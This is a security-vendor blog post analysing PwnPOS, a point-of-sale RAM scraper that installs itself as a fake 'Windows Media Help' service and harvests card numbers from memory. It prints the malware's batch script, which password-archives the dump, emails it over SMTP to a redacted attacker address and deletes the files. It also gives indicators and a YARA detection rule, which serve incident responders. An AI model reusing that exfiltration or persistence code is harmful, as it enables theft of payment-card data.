PwnPOS: Old Undetected PoS Malware Still Causing Havoc

We have been observing a new malware that infects point-of-sale (POS) systems. This malware may have been active since 2013, possibly earlier. Trend Micro will be naming this new malware family as PwnPOS to differentiate it from other known PoS malware families.

In this blog post, we will discuss the technical details of this PoS malware. Researchers and incident response teams can add our findings to their growing number of PoS malware indicators.

Technical Summary

PwnPOS is one of those perfect examples of malware that’s able to fly under the radar all these years  due to its simple but thoughtful construction; albeit not being future proof. Technically, there are two components of PwnPOS: 1) the RAM scraper binary, and 2) the binary responsible for data exfiltration. While the RAM scraper component remains constant, the data exfiltration component has seen several changes – implying that there are two, and possibly distinct, authors. The RAM scraper goes through a process’ memory and dumps the data to the file and the binary uses SMTP for data exfiltration.


This malware family is a RAM scraper service that can install and remove itself via specific arguments. If run without any arguments, it will copy itself to %SystemRoot%\system32\wnhelp.exe, install a service called “Windows Media Help,” and automatically start itself with the -service switch.

Figure 1. Installed service

However, if with argument del, it will remove the service without deleting the file.

Figure 2. Service deletion routine

Most incident response and malware-related tools attempt to enumerate auto-run, auto-start or items that have an entry within the services applet in attempt to detect malicious files. Thus, having parameters that add and remove itself from the list of services allows the attacker to “remain persistent” on the target POS machine when needed, while allowing the malicious file to appear benign as it waits within the %SYSTEM$ directory for the next time it is invoked.

There are a few caveats about the malware’s installation routine:

  1. The Windows OS’ User Account Control feature (available since Windows Vista) is able to block its execution. The initial launch would be stored in %SystemRoot%\system32\DebugConsole.log and upon execution, it checks for administrator privilege. If it determines that the user session does not have administrator privilege, then it would output an error ERRLOG:error: not admin user.
  2. The file exe requires being within %SystemRoot%\system32 as the service it creates uses this path to the executable C:\WINDOWS\system32\wnhelp.exe -service. If executed within a 64-bit Operating System, the executed would be stored within C:\Windows\SysWOW64\ and thus the service itself fails to start.

The above-mentioned caveats may be a non-issue since a good majority of PoS terminals are still running on Windows XP and there is no pressing need for 64-bit operating system installations in these kinds of systems.

Memory Scraping

After the service starts, it grants SeDebugPrivilege permission and enumerates all running processes.

Figure 3. Enumeration of memory block

It then seeks for a specific pattern [0-9]*=, which is a set of numbers, to which the search result will be stored in %SystemRoot%\system32\prefb419.dat. It should be noted that it may seem normal to have %SystemRoot%\system32\pref*.dat files as they represent Microsoft Windows’ base performance counters.

Figure 4. Reading memory and searching for pattern

If the string of numbers is found within a memory space, it validates the string via the Luhn algorithm, a known checksum formula to validate a variety of identification numbers, in order to make sure it is a credit card number.

Figure 5. Luhn algorithm

The log format that’s written to the file perfb419.dat is (DateTime): (ProcessName) pid: (Process Id) (Context).

  • %Y.%m.%d %H:%M:%S: => 2015.01.22 12:12:12
  • Process Name => ???.exe
  • Process ID => 999
  • Context => Credit Card Number

The main block of execution repeats after a few seconds, enumerating the processes and going through each memory block to look for significant strings of numbers as indicated above.

Data Exfiltration

The data that is stored in perf419.dat may be harvested by two different binaries:

  • ccb91409ed05d4dcd45d691908f8df3ff6728d10 is packed via MPRESS and is seemingly coded via the cross-platform Purebasic programming language. Text included in the file contains both English and German language – seemingly used for system-generated messages.

    Figure 6. Luhn algorithm

    Upon execution, drops a file called win32.bat that contains the following lines that contains most of the data exfiltration routine. Below is the content of win32.bat:

    @echo off

    7z.exe a backup.7z perfb419.dat -pmanadeaur1qaz2wsx

    echo uniq > perfb419.dat

    snd.exe -smtp -port 465 -t dumps.dumps@{BLOCKED}.com -f dumps@{BLOCKED}.cc -sub

    “Raport de la %computername%” -user dumps@{BLOCKED}.cc -pass 1234qwer -ssl -auth-login -attach backup.7z -M Hello

    DEL backup.7z

    DEL syshealth.7z

    DEL syshealth.log

    The routine is pretty much easy to understand: it first uses 7z.exe (standalone 7-zip executable) to create an archive called backup.7z from perfb419.dat, and uses a password defined as manadeaur1qaz2wsx. Note that this assumes also that this binary is within the same file directory of perfb419.dat. After that, it uses another standalone executable called snd.exe (from this mailsend project) to send an email to a pre-defined mail account via SMTP with SSL and authentication. Finally, it proceeds to clean up the files it used for this routine.

  • 7a8b966afdacbf174bec8588728d12bed9b56369 is an AutoIt-compiled executable that is packed via UPX. It has pre-defined variables (e.g., SMTP server, sender, recipient, attachments) within the lines of its decompiled code as seen below.

    Figure 7. AutoIt variable declaration

    Similarly, this binary uses 7z.exe to pack the interesting data and uses email for data exfiltration, but it comes with enhancements:

    1. It uses exe, a tool that matches one or more input files for lines containing a match to a specified pattern, to match the string format mentioned above which, as you guessed, matches the lines within in perfb419.dat.
    2. Rather than utilizing a third-party executable to send email, it utilizes a known AutoIt routine that makes use of the Collaboration Data Objects (CDO) API suite that is built-in with Microsoft Windows.

    What is further interesting in this the fact that the recipient is that the recipient has a misspelled top-level domain (TLD) with {BLOCKED}@gmail.coom. What would happen here is that the originating sender—in this case, gomis@{BLOCKED}.{BLOCKED}–would receive a bounced message, usually with the original mail content – thus making the use of a common email problem called “backscatter” to good use.

Significant strings

Significant strings for the data exfiltration components are already listed in code blocks above.

However, for the RAM scraper service, we can definitely see two significant strings that can tell us a little bit about the author(s) as the character encoding is significant as it always converts the output strings into a very specific encoding:

The Program Database File (PDB) c:\r1\Release\r1.pdb
Character Encoding Russian_Russia.1251

So where have we seen this?

We have seen PwnPOS operating with other PoS malware like BlackPOS and Alina, among small-to-medium businesses (SMB) within Japan, APAC (Australia, India), NABU (United States and Canada) and EMEA (Germany, Romania) running 32-bit versions of either Windows XP or Windows 7.


The indicators below are compiled based on the observed threat.

SHA1 Compile Time Size TM Detection Possible Usage and Other Notes
b1983db46e0cb4687e4c55b64c4d8d53551877fa 2010-10-12 15:37:51 302,592 TSPY_POSLOGR.M Memory Scraping
476a0900bfb80b263b614192d0084b8f42f1a6a5 2010-10-12 15:37:51 302,592 TSPY_POSLOGR.M Memory Scraping, but edited. Dump file was changed/edited to macromed.dat and character encoding was misspelled ‘Russian_Rassia.1251’
2cf639a42e84feff74aba4289d47a8cc9fa247c4 2010-10-12 15:37:51 302,592 TSPY_POSLOGR.M Memory Scraping
f62c082cc4eae77a8e7191f53d898daee1917b36 2010-10-12 15:37:51 302,592 TSPY_POSLOGR.M Memory Scraping
2037896e8aa232e250ebf83261099299bfeaed2b 2010-10-12 15:37:51 344,064 TSPY_POSLOGR.M Memory Scraping
c420ae15511d5184e3c1d95c0da090d654ff28d9 2010-10-12 15:37:51 302,593 TSPY_POSLOGR.M Memory Scraping
404e22581c51c684e204ea89af3434ee8ad2af1c 2010-10-12 15:37:51 302,592 TSPY_POSLOGR.M Memory Scraping
373cd06734249b7404f2d6554b261aa330bff1ba 2010-10-12 15:37:51 114,688 TSPY_POSLOGR.M Memory Scraping, UPX
a22d23d0c84e352c4adeda87489f03dca0be5562 2010-10-12 15:37:51 302,592 TSPY_POSLOGR.M Memory Scraping
a11b5a08f792363964b357116ea6c2220104c6e1 2010-10-12 15:37:51 302,592 TSPY_PWNPOS.A Memory Scraping
aaa972c81b59d759e49ac0d60d79d66af35cfb3b 2010-10-12 15:37:51 302,592 TSPY_PWNPOS.A Memory Scraping, no UPX version of 373cd06734249b7404f2d6554b261aa330bff1ba
79e60bdfa9e0c9d8bcb12e20b98ba12df03912a5 2010-10-12 15:37:51 302,592 TSPY_PWNPOS.A Memory Scraping
ccb91409ed05d4dcd45d691908f8df3ff6728d10 2011-03-25 08:17:42 25,600 TSPY_PWNPOS.A Data exfiltration, MPRESS
7a8b966afdacbf174bec8588728d12bed9b56369 2012-01-29 15:32:28 397,501 TSPY_POSLOGR.M Data exfiltration, UPX, AutoIT

Below is the YARA rule to detect the RAM scraper component:

rule PoS_Malware_PwnPOS : PwnPOS



author = “Trend Micro, Inc.”

date = “2015-02-25″

description = “Used to detect PwnPOS RAM Scraper”

sample_filetype = “exe”


$string0 = “\\$l9D$d”

$string1 = “c:\\r1\\Release\\r1.pdb”

$string2 = “CMicrosoft Visual C++ Runtime Library” wide

$string3 = “StartServiceCtrlDispatcher(): service already running.”

$string4 = “DebugConsole.log”

$string5 = “-service”

$string6 = ” :: DebugConsole BEGIN Tee log ———-”

$string7 = “ERRLOG:”

$string8 = “lWindows Media Help” wide

$string9 = “- unable to open console device” wide


10 of them


With additional insights from Numaan Huq and Kenney Lu.

Information about PoS malware and their prominence in the threat landscape can be found in our 2014 security roundup, Magnified Losses, Amplified Need for Cyber-Attack Preparedness.

Post from: Trendlabs Security Intelligence Blog – by Trend Micro

PwnPOS: Old Undetected PoS Malware Still Causing Havoc

Read more: PwnPOS: Old Undetected PoS Malware Still Causing Havoc

Story added 4. March 2015, content source with full text you can find at link above.